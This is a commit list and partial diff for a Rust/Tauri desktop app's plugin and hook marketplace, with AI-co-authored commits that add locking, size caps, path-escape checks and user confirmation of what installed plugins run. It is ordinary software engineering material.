Compare commits

...
Author SHA1 Message Date
shadowdaoandClaude Opus 5.5 2ce019c470 CLAUDE.md: imports skip both the hook and the plugin confirm steps (PR re-review)
Build App (Preview) / compute-version (pull_request) Successful in 1m5s
Secret Scan / scan (push) Successful in 7s
Secret Scan / scan (pull_request) Successful in 8s
Build App (Preview) / create-release (pull_request) Successful in 4s
Build App (Preview) / test (pull_request) Successful in 6m8s
Build App (Preview) / build-macos (pull_request) Successful in 4m38s
Build App (Preview) / build-linux (pull_request) Successful in 6m14s
Build App (Preview) / build-windows (pull_request) Successful in 7m10s
Build App (Preview) / prune-previews (pull_request) Successful in 3s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:22:48 -07:00
shadowdaoandClaude Opus 5.5 0a4d1d5f95 Projects: restore store-owned fields under the store lock on save (PR re-review)
update_project restored marketplace installs (and status, container id,
flags) from a copy read before validation, then wrote the whole record
later, so an install landing in between was lost. ProjectsStore gains
update_restoring, which runs restore_store_owned_fields against the record
as stored under the lock, and update_project writes through it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:22:43 -07:00
shadowdaoandClaude Opus 5.5 60c03baf62 Marketplace: explain, don't offer, updates that would be refused (PR re-review)
ItemUpdate gains invalid_at_head: compute_updates records why the item
cannot be installed at head (catalog invalid, or gone) — the rule
update_marketplace_item applies — read once per marketplace from the
snapshot at head, else from the catalog parsed at head. The Installed row
shows that reason instead of a Review button, and the update counts in the
Marketplace tab and Settings count only applicable updates.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:22:01 -07:00
shadowdaoandClaude Opus 5.5 3dfdafc9ca Marketplace: show path-valued and .lsp.json plugin components whole (PR re-review #4)
A plugin's hooks / mcpServers / lspServers given as a path (or list of
paths) in its catalog entry or plugin.json is resolved inside the plugin
folder and shown as that file's contents; a path escaping the folder or
naming a missing file makes the plugin invalid. The root .lsp.json is
listed next to hooks/hooks.json and .mcp.json. Components are no longer
cut at 64 KiB: they are shown whole up to the 1 MiB manifest cap, and a
plugin whose runnable parts cannot be shown whole is refused instead.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:20:12 -07:00
shadowdaoandClaude Opus 5.5 973e51f969 Marketplace: use is_multiple_of in describe_size (clippy)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:13:48 -07:00
shadowdaoandClaude Opus 5.5 8ec033f923 Marketplace: match an update to the install pinned at its commit (PR review #8)
InstalledPane's updateFor now requires u.pinned === i.commit, so an install
of the same item at another (unchanged) commit no longer borrows another
install's update and shows a phantom one with an empty diff.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:13:11 -07:00
shadowdaoandClaude Opus 5.5 fe15f541b9 Marketplace: toast a refused account change and refresh after a saved one (PR review #7)
changeAccount now catches a rejected updateMarketplace (e.g. an account for
another host) and toasts it instead of leaving an unhandled rejection, and
refreshes the marketplace after a successful change so the old fetch error
is replaced.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:13:11 -07:00
shadowdaoandClaude Opus 5.5 c87299dda3 Marketplace: cheaper update checks and single-marketplace refreshes (PR review #10)
compute_updates reads each marketplace's head once (snapshot_head, no
snapshot clone) and opens each cache once, sharing trees across installs
through GitTree::at. refresh_marketplaces(Some(id)) re-pins only that
marketplace (mk::set_pins with only) and returns only its snapshot, which
the frontend merges by id.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:12:14 -07:00
shadowdaoandClaude Opus 5.5 e62ca8795a Marketplace: lock each cache on its own; a removed marketplace stays removed (PR review #5, #6)
The single global repo lock becomes one lock per marketplace, and
refresh_pins takes each marketplace's lock only while setting its pins, so
a slow fetch no longer queues installs and refreshes of other marketplaces.

refresh_marketplace now takes the lock first and reads the settings store
under it (a closure, not a copy captured earlier); a marketplace removed
meanwhile gets no cache and no snapshot. Removing a marketplace deletes its
snapshot and cache under the same lock (remove_marketplace_cache).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:10:04 -07:00
shadowdaoandClaude Opus 5.5 da65d51f09 Marketplace: review a plugin's catalog entry and confirm what it runs (PR review #3, #4)
A plugin's update diff now includes its marketplace.json entry as a
pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers
and commands are reviewed like any file. CatalogItem gains
plugin_components (entry / plugin.json runnable keys, hooks/hooks.json,
.mcp.json, commands/), and installing a plugin now goes through
PluginConfirmModal listing them. The import-preview warnings describe
that confirmation accurately.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:08:15 -07:00
shadowdaoandClaude Opus 5.5 d51b54774b Marketplace: edit only the marketplace fields of a project (PR review #2)
ProjectsStore gains update_marketplace_fields / update_all_marketplace_fields,
which read-modify-write installs and opt-outs under the store's own lock.
Install, uninstall, update, forget and set_global_item_disabled use them
instead of writing back a whole Project read earlier, so a concurrent
start's status/container_id change is no longer overwritten.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:04:51 -07:00
shadowdaoandClaude Opus 5.5 e805c29c70 Marketplace: refuse an update to a version that is not installable (PR review #1)
Install and update now share ops::installable_at_head: the reviewed head
must still be the head and the item's catalog entry there must be valid.
The old update check (item_files) never parsed hook.json, so an upstream
hook with an unknown event could be pinned and then held by every sync.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:03:14 -07:00
shadowdaoandClaude Opus 5.5 14852ead65 Marketplace: check blob sizes from the object header before loading (PR review #9)
GitTree::read_file now takes a cap and reads the object's size from its
header first, so a blob over MAX_MANIFEST_BYTES / MAX_ITEM_BYTES is refused
without being inflated, and the blob is taken rather than cloned.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:01:48 -07:00
26 changed files with 1700 additions and 265 deletions
+5 -3
View File
@@ -732,9 +732,11 @@ a project's Docker volumes are deliberately out of scope — this is not a proje
(`validate_imported_marketplace_state`) — an import is untrusted input, not a trusted restore.
The preview warns whenever the import carries one or more **global hook installs or global
plugin installs**, in addition to the base-URL and custom-image warnings above: a hook runs
commands in every project container, and a plugin can carry its own hooks and MCP servers into
one — and an imported install skips the hook-confirm step an install from the Marketplace tab
shows, so this is the only place that confirmation happens for an import.
commands in every project container, and a plugin can carry its own hooks, MCP/LSP servers and
commands into one. In the Marketplace tab both kinds have a confirm step before they install
(`HookConfirmModal` lists a hook's commands, `PluginConfirmModal` lists everything a plugin
brings that runs); an import installs them without either, so the preview warning is the only
place that confirmation happens for an import.
- **Encrypted because it can carry live credentials, not for appearance's sake.** Argon2id derives
a 256-bit key from the user's password (memory-hard — meaningfully resistant to GPU/ASIC
brute-forcing, unlike PBKDF2 at any reasonable iteration count), AES-256-GCM does the actual
+177 -114
View File
@@ -8,9 +8,7 @@ use tauri::{AppHandle, Emitter, State};
use tokio::sync::oneshot;
use crate::docker::container::is_container_running;
use crate::marketplace::{
self as mk, auth, catalog, diff, gh_login, git, tree::GitTree, MarketplaceManager,
};
use crate::marketplace::{self as mk, auth, diff, gh_login, git, MarketplaceManager};
use crate::models::marketplace::{
is_valid_commit, is_valid_item_key, AccountMethod, FileDiff, InstallScope, ItemUpdate,
Marketplace, MarketplaceAccount, MarketplaceInstall, MarketplaceItemRef, MarketplaceSnapshot,
@@ -24,7 +22,7 @@ use crate::AppState;
/// testable without a Tauri runtime.
pub(crate) mod ops {
use crate::marketplace::{auth, git};
use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef};
use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef, MarketplaceSnapshot};
/// Insert, or replace the install of the same item (a re-install re-pins).
pub fn upsert_install(list: &mut Vec<MarketplaceInstall>, inst: MarketplaceInstall) {
@@ -82,6 +80,39 @@ pub(crate) mod ops {
Ok(head.to_string())
}
/// The one rule install and update share (PR review #1): pin
/// `expected` only if it is still the head (see [`reviewed_head`]) and
/// the item, as the catalog reads it at that head, is valid. `snap`'s
/// items are always parsed at `snap.head_commit`, so for a hook this
/// means its `hook.json` parses and names only known events — exactly
/// what the payload later requires. `action` is "installed"/"updated".
pub fn installable_at_head(
snap: &MarketplaceSnapshot,
item: &MarketplaceItemRef,
expected: &str,
marketplace_name: &str,
action: &str,
) -> Result<String, String> {
let head = reviewed_head(snap.head_commit.as_deref(), expected, marketplace_name)?;
let entry = snap
.items
.iter()
.find(|i| i.kind == item.kind && i.key == item.key)
.ok_or_else(|| {
format!(
"\"{}\" is no longer in \"{}\" — refresh the marketplace.",
item.key, marketplace_name
)
})?;
if let Some(reason) = &entry.invalid {
return Err(format!(
"\"{}\" cannot be {} at this version: {}",
entry.name, action, reason
));
}
Ok(head)
}
/// An unvalidated value as it may appear in an error: quoted and escaped
/// (`{:?}`) and capped at 60 characters, since it can come from an
/// import file rather than from what the person just typed.
@@ -263,6 +294,76 @@ pub(crate) mod ops {
);
}
/// PR review #1: install and update share one rule — the item as the
/// catalog reads it at the reviewed head must be valid. `item_files`
/// alone (the old update check) accepts a hook whose `hook.json` names
/// an unknown event, which every sync would then hold back.
#[tokio::test]
async fn an_item_invalid_at_the_reviewed_head_is_neither_installed_nor_updated() {
use crate::marketplace::test_support::GitFixture;
use crate::marketplace::{catalog, tree::GitTree, MarketplaceManager};
use crate::models::marketplace::Marketplace;
use crate::models::AppSettings;
let Some(fx) = GitFixture::new() else { return };
fx.with_all_kinds();
fx.write(
"hooks/notify-on-stop/hook.json",
r#"{"hooks":{"PreFoo":[{"hooks":[{"type":"command","command":"x"}]}]}}"#,
);
let head = fx.commit("bad hook event");
let data = tempfile::tempdir().unwrap();
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let mut settings = AppSettings::default();
settings.marketplaces.push(Marketplace {
id: "m1".into(),
name: "Team".into(),
url: fx.url(),
branch: None,
account_id: None,
});
let snap =
crate::marketplace::refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
let repo = crate::marketplace::git::cache_path(data.path(), "m1");
let tree = GitTree::open(&repo, &head).unwrap();
assert!(
catalog::item_files(&tree, ItemKind::Hook, "notify-on-stop").is_ok(),
"the old update check let this through"
);
let hook = MarketplaceItemRef {
marketplace_id: "m1".into(),
kind: ItemKind::Hook,
key: "notify-on-stop".into(),
};
for action in ["installed", "updated"] {
let e = installable_at_head(&snap, &hook, &head, "Team", action).unwrap_err();
assert!(e.contains(&format!("cannot be {action}")), "{e}");
assert!(e.contains("PreFoo"), "{e}");
}
let agent = MarketplaceItemRef {
kind: ItemKind::Agent,
key: "code-reviewer".into(),
..hook.clone()
};
assert_eq!(
installable_at_head(&snap, &agent, &head, "Team", "updated").unwrap(),
head
);
let gone = MarketplaceItemRef {
key: "no-such-agent".into(),
..agent
};
let e = installable_at_head(&snap, &gone, &head, "Team", "updated").unwrap_err();
assert!(e.contains("no longer in"), "{e}");
assert!(
installable_at_head(&snap, &hook, &"b".repeat(40), "Team", "installed")
.unwrap_err()
.contains("changed since you reviewed")
);
}
/// Pre-flight F13: the add form and the fetch agree on what a branch
/// is, so a name the fetch would refuse is refused up front.
#[test]
@@ -467,51 +568,22 @@ async fn snapshot_blocking(
.map_err(|e| format!("Reading the marketplace cache failed: {e}"))
}
/// Make each cache's pin refs exactly the commits installs reference, so a
/// pinned version can never be garbage-collected away. Under the repo lock
/// (pre-flight F11): a concurrent fetch writes refs in the same repos.
/// Make each cache's pin refs exactly the commits installs reference (see
/// [`mk::set_pins`]), for every marketplace.
pub(crate) async fn refresh_pins(state: &AppState) {
let settings = state.settings_store.get();
let pins = mk::pins_by_marketplace(&settings, &state.projects_store.list());
let root = state.marketplace.data_root().to_path_buf();
let ids: Vec<String> = settings.marketplaces.iter().map(|m| m.id.clone()).collect();
let _repo_guard = state.marketplace.repo_lock().lock().await;
let _ = tokio::task::spawn_blocking(move || {
for id in ids {
let repo = git::cache_path(&root, &id);
if !repo.exists() {
continue;
}
let commits = pins.get(&id).cloned().unwrap_or_default();
if let Err(e) = git::set_pins(&repo, &commits) {
log::warn!(
"Could not update the pinned commits of marketplace {}: {}",
id,
e
);
}
}
})
.await;
refresh_pins_of(state, None).await;
}
/// Forget a marketplace's snapshot and delete its cache, under the repo lock.
/// [`refresh_pins`] for every marketplace, or only `only`.
async fn refresh_pins_of(state: &AppState, only: Option<&str>) {
let settings = state.settings_store.get();
let projects = state.projects_store.list();
mk::set_pins(&state.marketplace, &settings, &projects, only).await;
}
/// Forget a marketplace's snapshot and delete its cache, under its repo lock.
pub(crate) async fn remove_cache(state: &AppState, marketplace_id: &str) {
state.marketplace.remove_snapshot(marketplace_id);
let path = git::cache_path(state.marketplace.data_root(), marketplace_id);
let _repo_guard = state.marketplace.repo_lock().lock().await;
let _ = tokio::task::spawn_blocking(move || {
if path.exists() {
if let Err(e) = std::fs::remove_dir_all(&path) {
log::warn!(
"Could not delete the marketplace cache {}: {}",
path.display(),
e
);
}
}
})
.await;
mk::remove_marketplace_cache(&state.marketplace, marketplace_id).await;
}
fn save_new_account(
@@ -551,21 +623,25 @@ pub async fn list_marketplace_snapshots(
.map_err(|e| format!("Reading the marketplace caches failed: {e}"))
}
/// With `marketplace_id`, refreshes (and re-pins) only that marketplace and
/// returns only its snapshot — the frontend merges snapshots by id — or
/// nothing if it was removed meanwhile. Without, refreshes all and returns
/// every snapshot.
#[tauri::command]
pub async fn refresh_marketplaces(
marketplace_id: Option<String>,
state: State<'_, AppState>,
) -> Result<Vec<MarketplaceSnapshot>, String> {
let settings = state.settings_store.get();
let current = || state.settings_store.get();
if let Some(id) = &marketplace_id {
find_marketplace(&settings, id)?;
find_marketplace(&current(), id)?;
let snap = mk::refresh_marketplace(&state.marketplace, &current, id).await;
refresh_pins_of(&state, Some(id)).await;
let still_configured = find_marketplace(&current(), id).is_ok();
return Ok(if still_configured { vec![snap] } else { vec![] });
}
for m in settings
.marketplaces
.iter()
.filter(|m| marketplace_id.as_deref().is_none_or(|id| id == m.id))
{
mk::refresh_marketplace(&state.marketplace, &settings, &m.id).await;
for m in current().marketplaces {
mk::refresh_marketplace(&state.marketplace, &current, &m.id).await;
}
refresh_pins(&state).await;
list_marketplace_snapshots(state).await
@@ -596,7 +672,8 @@ pub async fn add_marketplace(
let mut trial = settings.clone();
trial.marketplaces.push(m.clone());
let snap = mk::refresh_marketplace(&state.marketplace, &trial, &m.id).await;
// Not yet in the store: the trial settings stand in for it.
let snap = mk::refresh_marketplace(&state.marketplace, &|| trial.clone(), &m.id).await;
let failure = snap.fetch_error.clone().or_else(|| {
snap.head_commit
.is_none()
@@ -661,16 +738,12 @@ pub async fn forget_marketplace_installs(
.global_marketplace_installs
.retain(|i| i.marketplace_id != marketplace_id);
state.settings_store.update(settings)?;
for mut p in state.projects_store.list() {
let before = (p.marketplace_installs.len(), p.marketplace_disabled.len());
p.marketplace_installs
.retain(|i| i.marketplace_id != marketplace_id);
p.marketplace_disabled
.retain(|r| r.marketplace_id != marketplace_id);
if (p.marketplace_installs.len(), p.marketplace_disabled.len()) != before {
state.projects_store.update(p)?;
}
}
state
.projects_store
.update_all_marketplace_fields(|installs, disabled| {
installs.retain(|i| i.marketplace_id != marketplace_id);
disabled.retain(|r| r.marketplace_id != marketplace_id);
})?;
refresh_pins(&state).await;
Ok(())
}
@@ -693,23 +766,7 @@ pub async fn install_marketplace_item(
let settings = state.settings_store.get();
let m = find_marketplace(&settings, &item.marketplace_id)?;
let snap = snapshot_blocking(&state, &m).await?;
let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
let entry = snap
.items
.iter()
.find(|i| i.kind == item.kind && i.key == item.key)
.ok_or_else(|| {
format!(
"\"{}\" is no longer in \"{}\" — refresh the marketplace.",
item.key, m.name
)
})?;
if let Some(reason) = &entry.invalid {
return Err(format!(
"\"{}\" cannot be installed: {}",
entry.name, reason
));
}
let head = ops::installable_at_head(&snap, &item, &expected_commit, &m.name, "installed")?;
let inst = MarketplaceInstall {
marketplace_id: item.marketplace_id.clone(),
kind: item.kind,
@@ -723,9 +780,12 @@ pub async fn install_marketplace_item(
state.settings_store.update(s)?;
}
InstallScope::Project { project_id } => {
let mut p = find_project(&state, &project_id)?;
ops::upsert_install(&mut p.marketplace_installs, inst);
state.projects_store.update(p)?;
state
.projects_store
.update_marketplace_fields(&project_id, |installs, _| {
ops::upsert_install(installs, inst);
Ok(())
})?;
}
}
refresh_pins(&state).await;
@@ -746,19 +806,23 @@ pub async fn uninstall_marketplace_item(
}
state.settings_store.update(s)?;
// An opt-out of an item that is no longer global means nothing.
for mut p in state.projects_store.list() {
if p.marketplace_disabled.contains(&item) {
ops::set_disabled(&mut p.marketplace_disabled, &item, false);
state.projects_store.update(p)?;
}
}
state
.projects_store
.update_all_marketplace_fields(|_, disabled| {
ops::set_disabled(disabled, &item, false)
})?;
}
InstallScope::Project { project_id } => {
let mut p = find_project(&state, &project_id)?;
if !ops::remove_install(&mut p.marketplace_installs, &item) {
return Err(format!("That item is not installed in \"{}\".", p.name));
}
state.projects_store.update(p)?;
let name = find_project(&state, &project_id)?.name;
state
.projects_store
.update_marketplace_fields(&project_id, |installs, _| {
if ops::remove_install(installs, &item) {
Ok(())
} else {
Err(format!("That item is not installed in \"{name}\"."))
}
})?;
}
}
refresh_pins(&state).await;
@@ -773,9 +837,13 @@ pub async fn set_global_item_disabled(
state: State<'_, AppState>,
) -> Result<Project, String> {
validate_item(&item)?;
let mut p = find_project(&state, &project_id)?;
ops::set_disabled(&mut p.marketplace_disabled, &item, disabled);
state.projects_store.update(p)
let ((), saved) = state
.projects_store
.update_marketplace_fields(&project_id, |_, list| {
ops::set_disabled(list, &item, disabled);
Ok(())
})?;
Ok(saved)
}
// ─────────────────────────────────────────────────────────────────────────────
@@ -829,17 +897,7 @@ pub async fn update_marketplace_item(
let settings = state.settings_store.get();
let m = find_marketplace(&settings, &item.marketplace_id)?;
let snap = snapshot_blocking(&state, &m).await?;
let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
let repo = git::cache_path(state.marketplace.data_root(), &m.id);
let (kind, key, at) = (item.kind, item.key.clone(), head.clone());
tokio::task::spawn_blocking(move || -> Result<(), String> {
let tree = GitTree::open(&repo, &at)?;
catalog::item_files(&tree, kind, &key).map(|_| ())
})
.await
.map_err(|e| format!("Checking the new version failed: {e}"))?
.map_err(|e| format!("\"{}\" cannot be updated: {e}", item.key))?;
let head = ops::installable_at_head(&snap, &item, &expected_commit, &m.name, "updated")?;
match scope {
InstallScope::Global => {
@@ -850,11 +908,16 @@ pub async fn update_marketplace_item(
state.settings_store.update(s)?;
}
InstallScope::Project { project_id } => {
let mut p = find_project(&state, &project_id)?;
if !ops::repin(&mut p.marketplace_installs, &item, &head) {
return Err(format!("That item is not installed in \"{}\".", p.name));
}
state.projects_store.update(p)?;
let name = find_project(&state, &project_id)?.name;
state
.projects_store
.update_marketplace_fields(&project_id, |installs, _| {
if ops::repin(installs, &item, &head) {
Ok(())
} else {
Err(format!("That item is not installed in \"{name}\"."))
}
})?;
}
}
refresh_pins(&state).await;
@@ -1112,7 +1112,14 @@ pub async fn update_project(
// for every already-running container at launch. The version of this that
// re-asserted on every save is what turned a stale flag in a payload into a
// restarted bridge.
state.projects_store.update(project)
//
// The restore above served the validation; it is redone under the store's
// lock against the record as it is *now*, so a marketplace install, a
// status change or a container id landing since `stored` was read is kept
// rather than written over.
state
.projects_store
.update_restoring(project, restore_store_owned_fields)
}
/// Restore onto `project` the fields whose value belongs to the store rather
+5 -1
View File
@@ -311,10 +311,14 @@ pub fn run() {
// Failures are logged, not toasted — the Marketplace tab shows them.
{
let settings = settings_store_setup.get();
let settings_store = settings_store_setup.clone();
let marketplace = marketplace_setup.clone();
tauri::async_runtime::spawn(async move {
for m in &settings.marketplaces {
let snap = crate::marketplace::refresh_marketplace(&marketplace, &settings, &m.id).await;
// Reads the store again under the lock: one removed
// since startup is skipped (PR review #6).
let current = || settings_store.get();
let snap = crate::marketplace::refresh_marketplace(&marketplace, &current, &m.id).await;
if let Some(e) = snap.fetch_error {
log::warn!("Marketplace \"{}\" could not be refreshed at startup: {}", m.name, e);
}
+333 -42
View File
@@ -10,8 +10,8 @@
use sha2::{Digest, Sha256};
use crate::marketplace::tree::{hex, EntryKind, TreeView};
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind};
use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView};
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind, PluginComponent};
pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024;
pub const MAX_ITEM_FILES: usize = 200;
@@ -115,8 +115,9 @@ fn truncate_preview(text: &str) -> String {
format!("{}\n…(truncated)", &text[..cut])
}
fn read_utf8(tree: &dyn TreeView, path: &str) -> Result<Option<String>, String> {
match tree.read_file(path)? {
/// A UTF-8 file of at most `max_bytes` (checked before it is loaded).
fn read_utf8(tree: &dyn TreeView, path: &str, max_bytes: u64) -> Result<Option<String>, String> {
match tree.read_file(path, max_bytes)? {
None => Ok(None),
Some(bytes) => String::from_utf8(bytes)
.map(Some)
@@ -187,16 +188,9 @@ fn plugin_source_path(source: &serde_json::Value) -> Result<String, String> {
}
fn read_plugin_catalog(tree: &dyn TreeView) -> Result<Option<Vec<serde_json::Value>>, String> {
let Some(text) = read_utf8(tree, PLUGIN_CATALOG_PATH)? else {
let Some(text) = read_utf8(tree, PLUGIN_CATALOG_PATH, MAX_MANIFEST_BYTES)? else {
return Ok(None);
};
if text.len() as u64 > MAX_MANIFEST_BYTES {
return Err(format!(
"{} is larger than {} MiB",
PLUGIN_CATALOG_PATH,
MAX_MANIFEST_BYTES / (1024 * 1024)
));
}
let json: serde_json::Value = serde_json::from_str(&text)
.map_err(|e| format!("{} is not valid JSON: {}", PLUGIN_CATALOG_PATH, e))?;
let plugins = json
@@ -300,16 +294,19 @@ fn collect_dir(
if *entries_seen > MAX_ITEM_FILES {
return Err(format!("has more than {} files", MAX_ITEM_FILES));
}
let data = tree
.read_file(&format!("{}/{}", root, child_rel))?
.ok_or_else(|| format!("{} vanished while reading", child_rel))?;
// Capped at what is left of the item's budget, so no file
// bigger than the whole item allows is ever loaded.
let data = match tree
.read_file(&format!("{}/{}", root, child_rel), MAX_ITEM_BYTES - *total)
{
Ok(Some(data)) => data,
Ok(None) => return Err(format!("{} vanished while reading", child_rel)),
Err(ReadError::TooLarge { .. }) => {
return Err(format!("is larger than {}", describe_size(MAX_ITEM_BYTES)))
}
Err(e) => return Err(e.into()),
};
*total += data.len() as u64;
if *total > MAX_ITEM_BYTES {
return Err(format!(
"is larger than {} MiB",
MAX_ITEM_BYTES / (1024 * 1024)
));
}
out.push(ItemFile {
rel_path: child_rel,
data,
@@ -348,14 +345,8 @@ pub fn item_files(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Result<Vec<
_ => return Err(format!("{} is not a regular file", path)),
}
let data = tree
.read_file(&path)?
.read_file(&path, MAX_ITEM_BYTES)?
.ok_or_else(|| format!("{} is missing", path))?;
if data.len() as u64 > MAX_ITEM_BYTES {
return Err(format!(
"is larger than {} MiB",
MAX_ITEM_BYTES / (1024 * 1024)
));
}
Ok(vec![ItemFile {
rel_path: format!("{}.md", key),
data,
@@ -485,14 +476,8 @@ fn validate_hooks(hooks: &serde_json::Value) -> Result<Vec<String>, String> {
fn read_hook_json(tree: &dyn TreeView, key: &str) -> Result<serde_json::Value, String> {
let path = format!("hooks/{}/hook.json", key);
let text = read_utf8(tree, &path)?.ok_or_else(|| format!("{} is missing", path))?;
if text.len() as u64 > MAX_MANIFEST_BYTES {
return Err(format!(
"{} is larger than {} MiB",
path,
MAX_MANIFEST_BYTES / (1024 * 1024)
));
}
let text = read_utf8(tree, &path, MAX_MANIFEST_BYTES)?
.ok_or_else(|| format!("{} is missing", path))?;
serde_json::from_str(&text).map_err(|e| format!("{} is not valid JSON: {}", path, e))
}
@@ -525,6 +510,7 @@ fn item(kind: ItemKind, key: &str, path: String) -> CatalogItem {
invalid: None,
hook_commands: Vec::new(),
preview: String::new(),
plugin_components: Vec::new(),
}
}
@@ -581,7 +567,7 @@ fn parse_single_files(
continue;
}
match entry.kind {
EntryKind::File => match read_utf8(tree, &it.path) {
EntryKind::File => match read_utf8(tree, &it.path, MAX_ITEM_BYTES) {
Ok(Some(text)) => describe_markdown(&mut it, &text, kind == ItemKind::Command),
Ok(None) => it.invalid = Some(format!("{} is missing", it.path)),
Err(e) => it.invalid = Some(e),
@@ -623,11 +609,13 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve
continue;
}
match kind {
ItemKind::Skill => match read_utf8(tree, &format!("{}/SKILL.md", it.path)) {
Ok(Some(text)) => describe_markdown(&mut it, &text, false),
Ok(None) => it.invalid = Some(format!("{} has no SKILL.md", it.path)),
Err(e) => it.invalid = Some(e),
},
ItemKind::Skill => {
match read_utf8(tree, &format!("{}/SKILL.md", it.path), MAX_ITEM_BYTES) {
Ok(Some(text)) => describe_markdown(&mut it, &text, false),
Ok(None) => it.invalid = Some(format!("{} has no SKILL.md", it.path)),
Err(e) => it.invalid = Some(e),
}
}
ItemKind::Hook => match read_hook_json(tree, &entry.name) {
Ok(json) => {
if let Some(name) = json
@@ -657,6 +645,135 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve
}
}
/// Keys of a plugin's catalog entry or `plugin.json` that make Claude Code
/// run something or add commands.
const PLUGIN_RUNNABLE_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers", "commands"];
/// Of those, the keys whose value may instead be a path (or a list of paths)
/// to a JSON file inside the plugin, which is then what runs.
const PLUGIN_PATH_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers"];
/// Files in a plugin's root folder that declare what it runs.
const PLUGIN_RUNNABLE_FILES: &[&str] = &["hooks/hooks.json", ".mcp.json", ".lsp.json"];
/// A path a plugin gives for one of its own files, as a path relative to the
/// plugin root; refused unless it stays inside the plugin folder.
fn plugin_relative_path(value: &str) -> Result<String, String> {
let outside = || format!("{:?} points outside the plugin folder", value);
if value.starts_with('/') || value.contains('\\') || value.contains(':') {
return Err(outside());
}
let mut parts = Vec::new();
for part in value.split('/') {
match part {
"" | "." => {}
".." => return Err(outside()),
p => parts.push(p),
}
}
if parts.is_empty() {
return Err(format!("{:?} does not name a file in the plugin", value));
}
Ok(parts.join("/"))
}
/// The component, shown whole: a runnable manifest cut short could hide a
/// hook (round 2), so anything over the manifest cap refuses the plugin.
fn whole_component(label: String, content: String) -> Result<PluginComponent, String> {
if content.len() as u64 > MAX_MANIFEST_BYTES {
return Err(format!(
"{} is larger than {} and cannot be shown for review",
label,
describe_size(MAX_MANIFEST_BYTES)
));
}
Ok(PluginComponent { label, content })
}
/// A plugin file, whole; missing or oversized files refuse the plugin.
fn plugin_file(tree: &dyn TreeView, root: &str, rel: &str) -> Result<Option<String>, String> {
read_utf8(tree, &format!("{}/{}", root, rel), MAX_MANIFEST_BYTES)
.map_err(|e| e.replacen(&format!("{}/", root), "", 1))
}
fn runnable_fields(
tree: &dyn TreeView,
root: &str,
label: &str,
json: &serde_json::Value,
out: &mut Vec<PluginComponent>,
) -> Result<(), String> {
for key in PLUGIN_RUNNABLE_KEYS {
let Some(value) = json.get(key) else {
continue;
};
let paths: Option<Vec<&str>> = match value {
serde_json::Value::String(p) => Some(vec![p.as_str()]),
serde_json::Value::Array(items) if items.iter().all(|v| v.is_string()) => {
Some(items.iter().filter_map(|v| v.as_str()).collect())
}
_ => None,
};
match paths {
Some(paths) if PLUGIN_PATH_KEYS.contains(key) => {
for path in paths {
let rel = plugin_relative_path(path)
.map_err(|e| format!("{}: {} {}", label, key, e))?;
let text = plugin_file(tree, root, &rel)?.ok_or_else(|| {
format!(
"{}: {} names {}, which is not in the plugin",
label, key, rel
)
})?;
out.push(whole_component(
format!("{}: {} → {}", label, key, rel),
text,
)?);
}
}
_ => out.push(whole_component(
format!("{}: {}", label, key),
serde_json::to_string_pretty(value).unwrap_or_default(),
)?),
}
}
Ok(())
}
/// What a plugin brings that can run (PR review #4, round 2): its catalog
/// entry's and `plugin.json`'s hooks / MCP / LSP servers / commands — with
/// path-valued ones resolved inside the plugin and shown as the files they
/// name — the folder's `hooks/hooks.json`, `.mcp.json` and `.lsp.json`, and
/// `commands/`. Everything is shown whole; an `Err` makes the plugin
/// invalid, since it could not be reviewed.
fn plugin_components(
tree: &dyn TreeView,
entry: &serde_json::Value,
root: &str,
) -> Result<Vec<PluginComponent>, String> {
let mut out = Vec::new();
runnable_fields(tree, root, "marketplace.json entry", entry, &mut out)?;
if let Some(text) = plugin_file(tree, root, ".claude-plugin/plugin.json")? {
let json: serde_json::Value = serde_json::from_str(&text)
.map_err(|e| format!(".claude-plugin/plugin.json is not valid JSON: {}", e))?;
runnable_fields(tree, root, ".claude-plugin/plugin.json", &json, &mut out)?;
}
for file in PLUGIN_RUNNABLE_FILES {
if let Some(text) = plugin_file(tree, root, file)? {
out.push(whole_component(file.to_string(), text)?);
}
}
if let Ok(Some(children)) = tree.list_dir(&format!("{}/commands", root)) {
out.push(PluginComponent {
label: "commands/".to_string(),
content: children
.iter()
.map(|c| c.name.clone())
.collect::<Vec<_>>()
.join("\n"),
});
}
Ok(out)
}
fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
let entries = match read_plugin_catalog(tree) {
Ok(Some(entries)) => entries,
@@ -700,6 +817,10 @@ fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
.collect::<Vec<_>>()
.join("\n");
}
match plugin_components(tree, &entry, &path) {
